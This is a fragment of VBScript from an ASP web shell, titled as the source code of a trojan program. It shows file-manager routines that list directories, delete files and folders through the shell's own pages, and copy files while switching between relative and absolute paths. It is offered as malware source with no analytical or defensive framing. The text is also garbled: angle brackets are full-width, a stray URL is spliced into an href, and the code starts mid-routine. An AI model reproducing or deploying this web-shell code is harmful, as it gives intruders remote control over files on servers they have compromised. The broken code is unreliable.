一个ASP木马程序的源代码

end sub

sub so(lpath,xName,path,attrib)

document.write "＜a href='＜%=rseb%＞?q=list.asp&path="& lpath & xName & "&oldpath=" & path & "&attrib=" & attrib &"'＞└＜font color='#FF8000'＞＜font face=Wingdings＞1＜/font＞＜/font＞ " & xName &"＜/a＞ ＜a href="http://dev.21tx.com/2005/11/03/&chr(34)&javascript:" rmdir('"& lpath & xName &"')"&chr(34)&"＞＜font color='#FF8000' ＞＜/font＞删除＜/a＞＜br＞"

end sub

sub rmdir1(ls)

if confirm("你真的要删除这个文件吗!"&Chr(13)&Chr(10)&"文件为："&ls) then

window.open("＜%=rseb%＞?q=edit.asp&path=" & ls & "&op=del&attrib=＜%=request("attrib")%＞")

end if

end sub

sub rmdir(ls)

if confirm("你真的要删除这个目录吗!"&Chr(13)&Chr(10)&"目录为："&ls) then

window.open("＜%=rseb%＞?q=edir.asp&path="&ls&"&op=del&attrib=＜%=request("attrib")%＞")

end if

end sub

sub copyfile(sfile)

dfile=InputBox("※文件复制※"&Chr(13)&Chr(10)&"源文件："& sfile&Chr(13)&Chr(10)&"输入目标文件的文件名:"&Chr(13)&Chr(10) &"[允许带路径,要根据你的当前路径模式]")

dfile=trim(dfile)

attrib="＜%=request("attrib")%＞"

if dfile＜＞"" then

if InStr(dfile,":") or InStr(dfile,"/")=1 then

lp=""

if InStr(dfile,":") and attrib＜＞"true" then

alert "对不起，你在相对路径模式下不能使用绝对路径"&Chr(13)&Chr(10)&"错误路径：["&dfile&"]"

exit sub

end if